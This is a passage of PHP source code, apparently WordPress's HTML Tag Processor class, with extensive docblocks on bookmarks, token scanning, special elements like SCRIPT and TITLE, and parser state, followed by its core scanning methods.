 *     // from `<input type="text" class="is-active rugby not-disabled" length="24">`
 *     //   to `<input type="text" class="is-active not-disabled" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" class="rugby" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 * When class changes are enqueued but a direct change to `class` is made via
 * `set_attribute` then the changes to `set_attribute` (or `remove_attribute`)
 * will take precedence over those made through `add_class` and `remove_class`.
 *
 * ### Bookmarks
 *
 * While scanning through the input HTMl document it's possible to set
 * a named bookmark when a particular tag is found. Later on, after
 * continuing to scan other tags, it's possible to `seek` to one of
 * the set bookmarks and then proceed again from that point forward.
 *
 * Because bookmarks create processing overhead one should avoid
 * creating too many of them. As a rule, create only bookmarks
 * of known string literal names; avoid creating "mark_{$index}"
 * and so on. It's fine from a performance standpoint to create a
 * bookmark and update it frequently, such as within a loop.
 *
 *     $total_todos = 0;
 *     while ( $p->next_tag( array( 'tag_name' => 'UL', 'class_name' => 'todo' ) ) ) {
 *         $p->set_bookmark( 'list-start' );
 *         while ( $p->next_tag( array( 'tag_closers' => 'visit' ) ) ) {
 *             if ( 'UL' === $p->get_tag() && $p->is_tag_closer() ) {
 *                 $p->set_bookmark( 'list-end' );
 *                 $p->seek( 'list-start' );
 *                 $p->set_attribute( 'data-contained-todos', (string) $total_todos );
 *                 $total_todos = 0;
 *                 $p->seek( 'list-end' );
 *                 break;
 *             }
 *
 *             if ( 'LI' === $p->get_tag() && ! $p->is_tag_closer() ) {
 *                 $total_todos++;
 *             }
 *         }
 *     }
 *
 * ## Tokens and finer-grained processing.
 *
 * It's possible to scan through every lexical token in the
 * HTML document using the `next_token()` function. This
 * alternative form takes no argument and provides no built-in
 * query syntax.
 *
 * Example:
 *
 *      $title = '(untitled)';
 *      $text  = '';
 *      while ( $processor->next_token() ) {
 *          switch ( $processor->get_token_name() ) {
 *              case '#text':
 *                  $text .= $processor->get_modifiable_text();
 *                  break;
 *
 *              case 'BR':
 *                  $text .= "\n";
 *                  break;
 *
 *              case 'TITLE':
 *                  $title = $processor->get_modifiable_text();
 *                  break;
 *          }
 *      }
 *      return trim( "# {$title}\n\n{$text}" );
 *
 * ### Tokens and _modifiable text_.
 *
 * #### Special "atomic" HTML elements.
 *
 * Not all HTML elements are able to contain other elements inside of them.
 * For instance, the contents inside a TITLE element are plaintext (except
 * that character references like &amp; will be decoded). This means that
 * if the string `<img>` appears inside a TITLE element, then it's not an
 * image tag, but rather it's text describing an image tag. Likewise, the
 * contents of a SCRIPT or STYLE element are handled entirely separately in
 * a browser than the contents of other elements because they represent a
 * different language than HTML.
 *
 * For these elements the Tag Processor treats the entire sequence as one,
 * from the opening tag, including its contents, through its closing tag.
 * This means that the it's not possible to match the closing tag for a
 * SCRIPT element unless it's unexpected; the Tag Processor already matched
 * it when it found the opening tag.
 *
 * The inner contents of these elements are that element's _modifiable text_.
 *
 * The special elements are:
 *  - `SCRIPT` whose contents are treated as raw plaintext but supports a legacy
 *    style of including JavaScript inside of HTML comments to avoid accidentally
 *    closing the SCRIPT from inside a JavaScript string. E.g. `console.log( '</script>' )`.
 *  - `TITLE` and `TEXTAREA` whose contents are treated as plaintext and then any
 *    character references are decoded. E.g. `1 &lt; 2 < 3` becomes `1 < 2 < 3`.
 *  - `IFRAME`, `NOSCRIPT`, `NOEMBED`, `NOFRAME`, `STYLE` whose contents are treated as
 *    raw plaintext and left as-is. E.g. `1 &lt; 2 < 3` remains `1 &lt; 2 < 3`.
 *
 * #### Other tokens with modifiable text.
 *
 * There are also non-elements which are void/self-closing in nature and contain
 * modifiable text that is part of that individual syntax token itself.
 *
 *  - `#text` nodes, whose entire token _is_ the modifiable text.
 *  - HTML comments and tokens that become comments due to some syntax error. The
 *    text for these tokens is the portion of the comment inside of the syntax.
 *    E.g. for `<!-- comment -->` the text is `" comment "` (note the spaces are included).
 *  - `CDATA` sections, whose text is the content inside of the section itself. E.g. for
 *    `<![CDATA[some content]]>` the text is `"some content"` (with restrictions [1]).
 *  - "Funky comments," which are a special case of invalid closing tags whose name is
 *    invalid. The text for these nodes is the text that a browser would transform into
 *    an HTML comment when parsing. E.g. for `</%post_author>` the text is `%post_author`.
 *  - `DOCTYPE` declarations like `<DOCTYPE html>` which have no closing tag.
 *  - XML Processing instruction nodes like `<?wp __( "Like" ); ?>` (with restrictions [2]).
 *  - The empty end tag `</>` which is ignored in the browser and DOM.
 *
 * [1]: There are no CDATA sections in HTML. When encountering `<![CDATA[`, everything
 *      until the next `>` becomes a bogus HTML comment, meaning there can be no CDATA
 *      section in an HTML document containing `>`. The Tag Processor will first find
 *      all valid and bogus HTML comments, and then if the comment _would_ have been a
 *      CDATA section _were they to exist_, it will indicate this as the type of comment.
 *
 * [2]: XML allows a broader range of characters in a processing instruction's target name
 *      and disallows "xml" as a name, since it's special. The Tag Processor only recognizes
 *      target names with an ASCII-representable subset of characters. It also exhibits the
 *      same constraint as with CDATA sections, in that `>` cannot exist within the token
 *      since Processing Instructions do no exist within HTML and their syntax transforms
 *      into a bogus comment in the DOM.
 *
 * ## Design and limitations
 *
 * The Tag Processor is designed to linearly scan HTML documents and tokenize
 * HTML tags and their attributes. It's designed to do this as efficiently as
 * possible without compromising parsing integrity. Therefore it will be
 * slower than some methods of modifying HTML, such as those incorporating
 * over-simplified PCRE patterns, but will not introduce the defects and
 * failures that those methods bring in, which lead to broken page renders
 * and often to security vulnerabilities. On the other hand, it will be faster
 * than full-blown HTML parsers such as DOMDocument and use considerably
 * less memory. It requires a negligible memory overhead, enough to consider
 * it a zero-overhead system.
 *
 * The performance characteristics are maintained by avoiding tree construction
 * and semantic cleanups which are specified in HTML5. Because of this, for
 * example, it's not possible for the Tag Processor to associate any given
 * opening tag with its corresponding closing tag, or to return the inner markup
 * inside an element. Systems may be built on top of the Tag Processor to do
 * this, but the Tag Processor is and should be constrained so it can remain an
 * efficient, low-level, and reliable HTML scanner.
 *
 * The Tag Processor's design incorporates a "garbage-in-garbage-out" philosophy.
 * HTML5 specifies that certain invalid content be transformed into different forms
 * for display, such as removing null bytes from an input document and replacing
 * invalid characters with the Unicode replacement character `U+FFFD` (visually "�").
 * Where errors or transformations exist within the HTML5 specification, the Tag Processor
 * leaves those invalid inputs untouched, passing them through to the final browser
 * to handle. While this implies that certain operations will be non-spec-compliant,
 * such as reading the value of an attribute with invalid content, it also preserves a
 * simplicity and efficiency for handling those error cases.
 *
 * Most operations within the Tag Processor are designed to minimize the difference
 * between an input and output document for any given change. For example, the
 * `add_class` and `remove_class` methods preserve whitespace and the class ordering
 * within the `class` attribute; and when encountering tags with duplicated attributes,
 * the Tag Processor will leave those invalid duplicate attributes where they are but
 * update the proper attribute which the browser will read for parsing its value. An
 * exception to this rule is that all attribute updates store their values as
 * double-quoted strings, meaning that attributes on input with single-quoted or
 * unquoted values will appear in the output with double-quotes.
 *
 * ### Scripting Flag
 *
 * The Tag Processor parses HTML with the "scripting flag" disabled. This means
 * that it doesn't run any scripts while parsing the page. In a browser with
 * JavaScript enabled, for example, the script can change the parse of the
 * document as it loads. On the server, however, evaluating JavaScript is not
 * only impractical, but also unwanted.
 *
 * Practically this means that the Tag Processor will descend into NOSCRIPT
 * elements and process its child tags. Were the scripting flag enabled, such
 * as in a typical browser, the contents of NOSCRIPT are skipped entirely.
 *
 * This allows the HTML API to process the content that will be presented in
 * a browser when scripting is disabled, but it offers a different view of a
 * page than most browser sessions will experience. E.g. the tags inside the
 * NOSCRIPT disappear.
 *
 * ### Text Encoding
 *
 * The Tag Processor assumes that the input HTML document is encoded with a
 * text encoding compatible with 7-bit ASCII's '<', '>', '&', ';', '/', '=',
 * "'", '"', 'a' - 'z', 'A' - 'Z', and the whitespace characters ' ', tab,
 * carriage-return, newline, and form-feed.
 *
 * In practice, this includes almost every single-byte encoding as well as
 * UTF-8. Notably, however, it does not include UTF-16. If providing input
 * that's incompatible, then convert the encoding beforehand.
 *
 * @since 6.2.0
 * @since 6.2.1 Fix: Support for various invalid comments; attribute updates are case-insensitive.
 * @since 6.3.2 Fix: Skip HTML-like content inside rawtext elements such as STYLE.
 * @since 6.5.0 Pauses processor when input ends in an incomplete syntax token.
 *              Introduces "special" elements which act like void elements, e.g. TITLE, STYLE.
 *              Allows scanning through all tokens and processing modifiable text, where applicable.
 */
class WP_HTML_Tag_Processor {
	/**
	 * The maximum number of bookmarks allowed to exist at
	 * any given time.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::set_bookmark()
	 */
	const MAX_BOOKMARKS = 10;

	/**
	 * Maximum number of times seek() can be called.
	 * Prevents accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	const MAX_SEEK_OPS = 1000;

	/**
	 * The HTML document to parse.
	 *
	 * @since 6.2.0
	 * @var string
	 */
	protected $html;

	/**
	 * The last query passed to next_tag().
	 *
	 * @since 6.2.0
	 * @var array|null
	 */
	private $last_query;

	/**
	 * The tag name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_tag_name;

	/**
	 * The CSS class name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_class_name;

	/**
	 * The match offset this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var int|null
	 */
	private $sought_match_offset;

	/**
	 * Whether to visit tag closers, e.g. </div>, when walking an input document.
	 *
	 * @since 6.2.0
	 * @var bool
	 */
	private $stop_on_tag_closers;

	/**
	 * Specifies mode of operation of the parser at any given time.
	 *
	 * | State           | Meaning                                                              |
	 * | ----------------|----------------------------------------------------------------------|
	 * | *Ready*         | The parser is ready to run.                                          |
	 * | *Complete*      | There is nothing left to parse.                                      |
	 * | *Incomplete*    | The HTML ended in the middle of a token; nothing more can be parsed. |
	 * | *Matched tag*   | Found an HTML tag; it's possible to modify its attributes.           |
	 * | *Text node*     | Found a #text node; this is plaintext and modifiable.                |
	 * | *CDATA node*    | Found a CDATA section; this is modifiable.                           |
	 * | *Comment*       | Found a comment or bogus comment; this is modifiable.                |
	 * | *Presumptuous*  | Found an empty tag closer: `</>`.                                    |
	 * | *Funky comment* | Found a tag closer with an invalid tag name; this is modifiable.     |
	 *
	 * @since 6.5.0
	 *
	 * @see WP_HTML_Tag_Processor::STATE_READY
	 * @see WP_HTML_Tag_Processor::STATE_COMPLETE
	 * @see WP_HTML_Tag_Processor::STATE_INCOMPLETE_INPUT
	 * @see WP_HTML_Tag_Processor::STATE_MATCHED_TAG
	 * @see WP_HTML_Tag_Processor::STATE_TEXT_NODE
	 * @see WP_HTML_Tag_Processor::STATE_CDATA_NODE
	 * @see WP_HTML_Tag_Processor::STATE_COMMENT
	 * @see WP_HTML_Tag_Processor::STATE_DOCTYPE
	 * @see WP_HTML_Tag_Processor::STATE_PRESUMPTUOUS_TAG
	 * @see WP_HTML_Tag_Processor::STATE_FUNKY_COMMENT
	 *
	 * @var string
	 */
	protected $parser_state = self::STATE_READY;

	/**
	 * Indicates if the document is in quirks mode or no-quirks mode.
	 *
	 *  Impact on HTML parsing:
	 *
	 *   - In `NO_QUIRKS_MODE` (also known as "standard mode"):
	 *       - CSS class and ID selectors match byte-for-byte (case-sensitively).
	 *       - A TABLE start tag `<table>` implicitly closes any open `P` element.
	 *
	 *   - In `QUIRKS_MODE`:
	 *       - CSS class and ID selectors match match in an ASCII case-insensitive manner.
	 *       - A TABLE start tag `<table>` opens a `TABLE` element as a child of a `P`
	 *         element if one is open.
	 *
	 * Quirks and no-quirks mode are thus mostly about styling, but have an impact when
	 * tables are found inside paragraph elements.
	 *
	 * @see self::QUIRKS_MODE
	 * @see self::NO_QUIRKS_MODE
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $compat_mode = self::NO_QUIRKS_MODE;

	/**
	 * Indicates whether the parser is inside foreign content,
	 * e.g. inside an SVG or MathML element.
	 *
	 * One of 'html', 'svg', or 'math'.
	 *
	 * Several parsing rules change based on whether the parser
	 * is inside foreign content, including whether CDATA sections
	 * are allowed and whether a self-closing flag indicates that
	 * an element has no content.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	private $parsing_namespace = 'html';

	/**
	 * What kind of syntax token became an HTML comment.
	 *
	 * Since there are many ways in which HTML syntax can create an HTML comment,
	 * this indicates which of those caused it. This allows the Tag Processor to
	 * represent more from the original input document than would appear in the DOM.
	 *
	 * @since 6.5.0
	 *
	 * @var string|null
	 */
	protected $comment_type = null;

	/**
	 * What kind of text the matched text node represents, if it was subdivided.
	 *
	 * @see self::TEXT_IS_NULL_SEQUENCE
	 * @see self::TEXT_IS_WHITESPACE
	 * @see self::TEXT_IS_GENERIC
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $text_node_classification = self::TEXT_IS_GENERIC;

	/**
	 * How many bytes from the original HTML document have been read and parsed.
	 *
	 * This value points to the latest byte offset in the input document which
	 * has been already parsed. It is the internal cursor for the Tag Processor
	 * and updates while scanning through the HTML tokens.
	 *
	 * @since 6.2.0
	 * @var int
	 */
	private $bytes_already_parsed = 0;

	/**
	 * Byte offset in input document where current token starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *     - token starts at 0
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_starts_at;

	/**
	 * Byte length of current token.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     012345678901234
	 *     - token length is 14 - 0 = 14
	 *
	 *     a <!-- comment --> is a token.
	 *     0123456789 123456789 123456789
	 *     - token length is 17 - 2 = 15
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_length;

	/**
	 * Byte offset in input document where current tag name starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      - tag name starts at 1
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_starts_at;

	/**
	 * Byte length of current tag name.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      --- tag name length is 3
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_length;

	/**
	 * Byte offset into input document where current modifiable text starts.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_starts_at;

	/**
	 * Byte length of modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_length;

	/**
	 * Whether the current tag is an opening tag, e.g. <div>, or a closing tag, e.g. </div>.
	 *
	 * @var bool
	 */
	private $is_closing_tag;

	/**
	 * Lazily-built index of attributes found within an HTML tag, keyed by the attribute name.
	 *
	 * Example:
	 *
	 *     // Supposing the parser is working through this content
	 *     // and stops after recognizing the `id` attribute.
	 *     // <div id="test-4" class=outline title="data:text/plain;base64=asdk3nk1j3fo8">
	 *     //                 ^ parsing will continue from this point.
	 *     $this->attributes = array(
	 *         'id' => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false )
	 *     );
	 *
	 *     // When picking up parsing again, or when asking to find the
	 *     // `class` attribute we will continue and add to this array.
	 *     $this->attributes = array(
	 *         'id'    => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false ),
	 *         'class' => new WP_HTML_Attribute_Token( 'class', 23, 7, 17, 13, false )
	 *     );
	 *
	 *     // Note that only the `class` attribute value is stored in the index.
	 *     // That's because it is the only value used by this class at the moment.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Attribute_Token[]
	 */
	private $attributes = array();

	/**
	 * Tracks spans of duplicate attributes on a given tag, used for removing
	 * all copies of an attribute when calling `remove_attribute()`.
	 *
	 * @since 6.3.2
	 *
	 * @var (WP_HTML_Span[])[]|null
	 */
	private $duplicate_attributes = null;

	/**
	 * Which class names to add or remove from a tag.
	 *
	 * These are tracked separately from attribute updates because they are
	 * semantically distinct, whereas this interface exists for the common
	 * case of adding and removing class names while other attributes are
	 * generally modified as with DOM `setAttribute` calls.
	 *
	 * When modifying an HTML document these will eventually be collapsed
	 * into a single `set_attribute( 'class', $changes )` call.
	 *
	 * Example:
	 *
	 *     // Add the `wp-block-group` class, remove the `wp-group` class.
	 *     $classname_updates = array(
	 *         // Indexed by a comparable class name.
	 *         'wp-block-group' => WP_HTML_Tag_Processor::ADD_CLASS,
	 *         'wp-group'       => WP_HTML_Tag_Processor::REMOVE_CLASS
	 *     );
	 *
	 * @since 6.2.0
	 * @var bool[]
	 */
	private $classname_updates = array();

	/**
	 * Tracks a semantic location in the original HTML which
	 * shifts with updates as they are applied to the document.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Span[]
	 */
	protected $bookmarks = array();

	const ADD_CLASS    = true;
	const REMOVE_CLASS = false;
	const SKIP_CLASS   = null;

	/**
	 * Lexical replacements to apply to input HTML document.
	 *
	 * "Lexical" in this class refers to the part of this class which
	 * operates on pure text _as text_ and not as HTML. There's a line
	 * between the public interface, with HTML-semantic methods like
	 * `set_attribute` and `add_class`, and an internal state that tracks
	 * text offsets in the input document.
	 *
	 * When higher-level HTML methods are called, those have to transform their
	 * operations (such as setting an attribute's value) into text diffing
	 * operations (such as replacing the sub-string from indices A to B with
	 * some given new string). These text-diffing operations are the lexical
	 * updates.
	 *
	 * As new higher-level methods are added they need to collapse their
	 * operations into these lower-level lexical updates since that's the
	 * Tag Processor's internal language of change. Any code which creates
	 * these lexical updates must ensure that they do not cross HTML syntax
	 * boundaries, however, so these should never be exposed outside of this
	 * class or any classes which intentionally expand its functionality.
	 *
	 * These are enqueued while editing the document instead of being immediately
	 * applied to avoid processing overhead, string allocations, and string
	 * copies when applying many updates to a single document.
	 *
	 * Example:
	 *
	 *     // Replace an attribute stored with a new value, indices
	 *     // sourced from the lazily-parsed HTML recognizer.
	 *     $start  = $attributes['src']->start;
	 *     $length = $attributes['src']->length;
	 *     $modifications[] = new WP_HTML_Text_Replacement( $start, $length, $new_value );
	 *
	 *     // Correspondingly, something like this will appear in this array.
	 *     $lexical_updates = array(
	 *         WP_HTML_Text_Replacement( 14, 28, 'https://my-site.my-domain/wp-content/uploads/2014/08/kittens.jpg' )
	 *     );
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Text_Replacement[]
	 */
	protected $lexical_updates = array();

	/**
	 * Tracks and limits `seek()` calls to prevent accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	protected $seek_count = 0;

	/**
	 * Whether the parser should skip over an immediately-following linefeed
	 * character, as is the case with LISTING, PRE, and TEXTAREA.
	 *
	 * > If the next token is a U+000A LINE FEED (LF) character token, then
	 * > ignore that token and move on to the next one. (Newlines at the start
	 * > of [these] elements are ignored as an authoring convenience.)
	 *
	 * @since 6.7.0
	 *
	 * @var int|null
	 */
	private $skip_newline_at = null;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param string $html HTML to process.
	 */
	public function __construct( $html ) {
		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			$html = '';
		}
		$this->html = $html;
	}

	/**
	 * Switches parsing mode into a new namespace, such as when
	 * encountering an SVG tag and entering foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @param string $new_namespace One of 'html', 'svg', or 'math' indicating into what
	 *                              namespace the next tokens will be processed.
	 * @return bool Whether the namespace was valid and changed.
	 */
	public function change_parsing_namespace( string $new_namespace ): bool {
		if ( ! in_array( $new_namespace, array( 'html', 'math', 'svg' ), true ) ) {
			return false;
		}

		$this->parsing_namespace = $new_namespace;
		return true;
	}

	/**
	 * Finds the next tag matching the $query.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 No longer processes incomplete tokens at end of document; pauses the processor at start of token.
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this whole class name to match.
	 *     @type string|null $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 * @return bool Whether a tag was matched.
	 */
	public function next_tag( $query = null ): bool {
		$this->parse_query( $query );
		$already_found = 0;

		do {
			if ( false === $this->next_token() ) {
				return false;
			}

			if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
				continue;
			}

			if ( $this->matches() ) {
				++$already_found;
			}
		} while ( $already_found < $this->sought_match_offset );

		return true;
	}

	/**
	 * Finds the next token in the HTML document.
	 *
	 * An HTML document can be viewed as a stream of tokens,
	 * where tokens are things like HTML tags, HTML comments,
	 * text nodes, etc. This method finds the next token in
	 * the HTML document and returns whether it found one.
	 *
	 * If it starts parsing a token and reaches the end of the
	 * document then it will seek to the start of the last
	 * token and pause, returning `false` to indicate that it
	 * failed to find a complete token.
	 *
	 * Possible token types, based on the HTML specification:
	 *
	 *  - an HTML tag, whether opening, closing, or void.
	 *  - a text node - the plaintext inside tags.
	 *  - an HTML comment.
	 *  - a DOCTYPE declaration.
	 *  - a processing instruction, e.g. `<?xml version="1.0" ?>`.
	 *
	 * The Tag Processor currently only supports the tag token.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Recognizes CDATA sections within foreign content.
	 *
	 * @return bool Whether a token was parsed.
	 */
	public function next_token(): bool {
		return $this->base_class_next_token();
	}

	/**
	 * Internal method which finds the next token in the HTML document.
	 *
	 * This method is a protected internal function which implements the logic for
	 * finding the next token in a document. It exists so that the parser can update
	 * its state without affecting the location of the cursor in the document and
	 * without triggering subclass methods for things like `next_token()`, e.g. when
	 * applying patches before searching for the next token.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @return bool Whether a token was parsed.
	 */
	private function base_class_next_token(): bool {
		$was_at = $this->bytes_already_parsed;
		$this->after_tag();

		// Don't proceed if there's nothing more to scan.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		/*
		 * The next step in the parsing loop determines the parsing state;
		 * clear it so that state doesn't linger from the previous step.
		 */
		$this->parser_state = self::STATE_READY;

		if ( $this->bytes_already_parsed >= strlen( $this->html ) ) {
			$this->parser_state = self::STATE_COMPLETE;
			return false;
		}

		// Find the next tag if it exists.
		if ( false === $this->parse_next_tag() ) {
			if ( self::STATE_INCOMPLETE_INPUT === $this->parser_state ) {
				$this->bytes_already_parsed = $was_at;
			}

			return false;
		}

		/*
		 * For legacy reasons the rest of this function handles tags and their
		 * attributes. If the processor has reached the end of the document
		 * or if it matched any other token then it should return here to avoid
		 * attempting to process tag-specific syntax.
		 */
		if (
			self::STATE_INCOMPLETE_INPUT !== $this->parser_state &&
			self::STATE_COMPLETE !== $this->parser_state &&
			self::STATE_MATCHED_TAG !== $this->parser_state
		) {
			return true;
		}

		// Parse all of its attributes.
		while ( $this->parse_next_attribute() ) {
			continue;
		}

		// Ensure that the tag closes before the end of the document.
		if (
			self::STATE_INCOMPLETE_INPUT === $this->parser_state ||
			$this->bytes_already_parsed >= strlen( $this->html )
		) {
			// Does this appropriately clear state (parsed attributes)?
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}

		$tag_ends_at = strpos( $this->html, '>', $this->bytes_already_parsed );
		if ( false === $tag_ends_at ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}
		$this->parser_state         = self::STATE_MATCHED_TAG;
		$this->bytes_already_parsed = $tag_ends_at + 1;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;

		/*
		 * Certain tags require additional processing. The first-letter pre-check
		 * avoids unnecessary string allocation when comparing the tag names.
		 *
		 *  - IFRAME
		 *  - LISTING (deprecated)
		 *  - NOEMBED (deprecated)
		 *  - NOFRAMES (deprecated)
		 *  - PRE
		 *  - SCRIPT
		 *  - STYLE
		 *  - TEXTAREA
		 *  - TITLE
		 *  - XMP (deprecated)
		 */
		if (
			$this->is_closing_tag ||
			'html' !== $this->parsing_namespace ||
			1 !== strspn( $this->html, 'iIlLnNpPsStTxX', $this->tag_name_starts_at, 1 )
		) {
			return true;
		}

		$tag_name = $this->get_tag();

		/*
		 * For LISTING, PRE, and TEXTAREA, the first linefeed of an immediately-following
		 * text node is ignored as an authoring convenience.
		 *
		 * @see static::skip_newline_at
		 */
		if ( 'LISTING' === $tag_name || 'PRE' === $tag_name ) {
			$this->skip_newline_at = $this->bytes_already_parsed;
			return true;
		}

		/*
		 * There are certain elements whose children are not DATA but are instead
		 * RCDATA or RAWTEXT. These cannot contain other elements, and the contents
		 * are parsed as plaintext, with character references decoded in RCDATA but
		 * not in RAWTEXT.
		 *
		 * These elements are described here as "self-contained" or special atomic
		 * elements whose end tag is consumed with the opening tag, and they will
		 * contain modifiable text inside of them.
		 *
		 * Preserve the opening tag pointers, as these will be overwritten
		 * when finding the closing tag. They will be reset after finding
		 * the closing to tag to point to the opening of the special atomic
		 * tag sequence.
		 */
		$tag_name_starts_at   = $this->tag_name_starts_at;
		$tag_name_length      = $this->tag_name_length;
		$tag_ends_at          = $this->token_starts_at + $this->token_length;
		$attributes           = $this->attributes;
		$duplicate_attributes = $this->duplicate_attributes;

		// Find the closing tag if necessary.
		switch ( $tag_name ) {
			case 'SCRIPT':
				$found_closer = $this->skip_script_data();
				break;

			case 'TEXTAREA':
			case 'TITLE':
				$found_closer = $this->skip_rcdata( $tag_name );
				break;

			/*
			 * In the browser this list would include the NOSCRIPT element,
			 * but the Tag Processor is an environment with the scripting
			 * flag disabled, meaning that it needs to descend into the
			 * NOSCRIPT element to be able to properly process what will be
			 * sent to a browser.
			 *
			 * Note that this rule makes HTML5 syntax incompatible with XML,
			 * because the parsing of this token depends on client application.
			 * The NOSCRIPT element cannot be represented in the XHTML syntax.
			 */
			case 'IFRAME':
			case 'NOEMBED':
			case 'NOFRAMES':
			case 'STYLE':
			case 'XMP':
				$found_closer = $this->skip_rawtext( $tag_name );
				break;

			// No other tags should be treated in their entirety here.
			default:
				return true;
		}

		if ( ! $found_closer ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;
			return false;
		}

		/*
		 * The values here look like they reference the opening tag but they reference
		 * the closing tag instead. This is why the opening tag values were stored
		 * above in a variable. It reads confusingly here, but that's because the
		 * functions that skip the contents have moved all the internal cursors past
		 * the inner content of the tag.
		 */
		$this->token_starts_at      = $was_at;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;
		$this->text_starts_at       = $tag_ends_at;
		$this->text_length          = $this->tag_name_starts_at - $this->text_starts_at;
		$this->tag_name_starts_at   = $tag_name_starts_at;
		$this->tag_name_length      = $tag_name_length;
		$this->attributes           = $attributes;
		$this->duplicate_attributes = $duplicate_attributes;

		return true;
	}

	/**
	 * Whether the processor paused because the input HTML document ended
	 * in the middle of a syntax element, such as in the middle of a tag.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( '<input type="text" value="Th' );
	 *     false      === $processor->get_next_tag();
	 *     true       === $processor->paused_at_incomplete_token();
	 *
	 * @since 6.5.0
	 *
	 * @return bool Whether the parse paused at the start of an incomplete token.
	 */
	public function paused_at_incomplete_token(): bool {
		return self::STATE_INCOMPLETE_INPUT === $this->parser_state;
	}

	/**
	 * Generator for a foreach loop to step through each class name for the matched tag.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( "<div class='free &lt;egg&lt;\tlang-en'>" );
	 *     $p->next_tag();
	 *     foreach ( $p->class_list() as $class_name ) {
	 *         echo "{$class_name} ";
	 *     }
	 *     // Outputs: "free <egg> lang-en "
	 *
	 * @since 6.4.0
	 */
	public function class_list() {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return;
		}

		/** @var string $class contains the string value of the class attribute, with character references decoded. */
		$class = $this->get_attribute( 'class' );

		if ( ! is_string( $class ) ) {
			return;
		}

		$seen = array();

		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;

		$at = 0;
		while ( $at < strlen( $class ) ) {
			// Skip past any initial boundary characters.
			$at += strspn( $class, " \t\f\r\n", $at );
			if ( $at >= strlen( $class ) ) {
				return;
			}

			// Find the byte length until the next boundary.
			$length = strcspn( $class, " \t\f\r\n", $at );
			if ( 0 === $length ) {
				return;
			}

			$name = str_replace( "\x00", "\u{FFFD}", substr( $class, $at, $length ) );
			if ( $is_quirks ) {
				$name = strtolower( $name );
			}
			$at += $length;

			/*
			 * It's expected that the number of class names for a given tag is relatively small.
			 * Given this, it is probably faster overall to scan an array for a value rather
			 * than to use the class name as a key and check if it's a key of $seen.
			 */
			if ( in_array( $name, $seen, true ) ) {
				continue;
			}

			$seen[] = $name;
			yield $name;
		}
	}


	/**
	 * Returns if a matched tag contains the given ASCII case-insensitive class name.
	 *
	 * @since 6.4.0
	 *
	 * @param string $wanted_class Look for this CSS class name, ASCII case-insensitive.
	 * @return bool|null Whether the matched tag contains the given class name, or null if not matched.
	 */
	public function has_class( $wanted_class ): ?bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$case_insensitive = self::QUIRKS_MODE === $this->compat_mode;

		$wanted_length = strlen( $wanted_class );
		foreach ( $this->class_list() as $class_name ) {
			if (
				strlen( $class_name ) === $wanted_length &&
